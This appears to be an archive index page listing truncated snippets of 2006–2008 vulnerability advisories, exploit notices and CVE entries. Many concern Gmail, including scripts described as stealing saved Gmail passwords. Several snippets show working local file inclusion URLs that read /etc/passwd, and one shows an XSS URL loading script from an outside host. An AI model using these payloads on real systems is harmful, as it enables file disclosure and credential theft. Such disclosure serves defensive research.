adv93-K-159-2008.txt

ECHOADV93$2008 ----------------------------------------------------------------------------------------- ECHOADV93$2008 Kmita Tellfriend = 2.0 file Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

travelsized-lfi.txt

travelsized cms 0.4.1 multiple local file inclusion vulnerabilities download http://sourceforge.net/projects/uberghey/ author muuratsalo contact muuratsaloatgmail.com exploits http://localhost/travelsized-0.4.1/index.php?pageid=../../../../../../../../../../etc/passwd%00...

plutostatus-lfi.txt

PlutoStatus Locator v1.0pre alpha local file inclusion vulnerability download http://sourceforge.net/projects/plutostatus/ author muuratsalo contact muuratsaloatgmail.com exploit http://localhost/locator/index.php?page=../../../../../../../../../../etc/passwd%00...

Scribe 0.2 - index.php Local File Inclusion

Scribe 0.2 - index.php Local File Inclusion scribe 0.2 local file inclusion vulnerability download http://sourceforge.net/projects/scribe/ author muuratsalo contact muuratsaloatgmail.com exploit http://localhost/0.2/index.php?page=../../../../../../../../../../etc/passwd%00 milw0rm.com 2008-02-14...

jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow

Application: jetAudio 7.0.5 .ASX Remote Stack Overflow Web Site: http://www.cowonamerica.com/download/ Platform: Windows Bug:Remote Stack Overflow Extension: ASX special condition: none ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept 4 Credits...

xeCMS 1.x - view.php Remote File Disclosure

xeCMS 1.x - view.php Remote File Disclosure -------------------------------------------------------------- xeCMS 1.x.x Remote File Disclosure Vulnerability. -------------------------------------------------------------- download : http://xecms.sunsite.dk/ author : p4imi0 contact : [email protected]...

GMail Mobile DoS

DoS on large message recevied during composing the message...

[Full-disclosure] Gmail 1.1.0 for BlackBerry remote DoS

I have tested and confirmed this bug on a BlackBerry 8700c in a repeatable fashion. Three outcomes are common so may be race condition... 1 Entire BlackBerry OS freeze. On soft-reboot, you will see the uncaught Java exception for Gmail app 2 Gmail freezes for some time, and then OS can recover...

Google Gmail cross-site request forgery vulnerability

Overview According to public reports, Google Gmail contained a cross-site request forgery XSRF vulnerability that allowed attackers to create email filters that could forward mail and attachments to arbitrary email addresses. Description Google Gmail is a web-based mail service. Gmail provides...

gmailsteal_remote.scpt.txt

-- This script can be used to steal gmail's keychained password by injecting -- Javascripts into Safari. When executed it opens gmail's login page, reads -- saved password and sends it to a logging server by creating an hidden iframe -- into gmail's page. It can be easly modified to steal other...

gmailsteal_local.scpt.txt

-- This script can be used to steal gmail's keychained password by injecting -- Javascripts into Safari. When executed it opens gmail's login page, reads -- saved password and prompts it into an alert box. -- It can be easly modified to steal other pass. -- poplix papuasia.org --...

gcaldaemon-dos.txt

Secure Network - Security Research Advisory Vuln name: GCALDaemon Remote DoS Systems affected: GCALDaemon 1.0-beta13 all platforms Systems not affected: - Severity: Low Local/Remote: Remote Vendor URL: http://gcaldaemon.sourceforge.net/ Authors: Luca "ikki" Carettoni -...

photostand120-xss.txt

Photostand1.2.0 Multiple Cross Site Scripting Vendor site : http://www.photostand.org/ Global risk : medium XSS ----- + Permanents Message & name fields are vulnerable to xss attacks. This kind of xss are pretty dangerous,because anyone who see the page gone get his cookie stolen and sended to th...

rateme-rfi.txt

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ;;ii,,:: + + :::: :: ;;tt;;:: + + ;;:: ..,,:: ;;ii,,:: + + ,,,, ii;;,, ii;;:: ;;ii,,:: + + ii:: tt;;,, ..tt;;,,.. ;;ii;;:: + + ii,,:: ttii,, ..ff;;;;:: ;;ii;;:: + + tt;;::..,, tt;;,, ff;;;;...

google-XSS.txt

Discovered :SwEET-DeViL XSS in gmial google Exploit : http://mail.google.com/mail/?view=pr&%20%22%3E%3Cscript%20src%3Dhttp%3A//www.xxxx.com/%3E%3C/script%3E&fs=1 Regards I thank all our friends //Hacker sUn and viP HaCkEr /...

CVE-2006-6182

The Gabriele Teotino GNotebook 0.7.0.1 gadget for Google Desktop stores Gmail passwords in plaintext in the %SYSTEMDRIVE%\temp\Gnotebook.txt log file, which allows local users to obtain passwords by reading the file...

CVE-2006-6182

The Gabriele Teotino GNotebook 0.7.0.1 gadget for Google Desktop stores Gmail passwords in plaintext in the %SYSTEMDRIVE%\temp\Gnotebook.txt log file, which allows local users to obtain passwords by reading the file...

xmplay-3.txt

/ =================================================================== 0-day XMPlay 3.3.0.4 .PLS Filename Buffer Overflow Exploit =================================================================== XMPlay 3.3.0.4 and lower experiance a stack-based buffer overflow when loading malformed M3U and PLS...

CVE-2006-5902

viksoe GMail Drive shell extension allows remote attackers to perform virtual filesystem actions via e-mail messages with certain subject lines, as demonstrated by 1 a GMAILFS: 13;a;1 message with a new filename and a file attachment, which injects a new file into the filesystem; 2 a GMAILFS:...

CVE-2006-5903

GSpace (Gmail File Space) by Rahul Jonna is affected. Remote attackers can perform virtual filesystem actions by sending specially crafted email subjects, enabling actions such as injecting a new file (e.g., a subject like 2174|1|1|1|gs:/ d$) and creating folders (e.g., |-135|1|1|0|gs:/ d$). The ...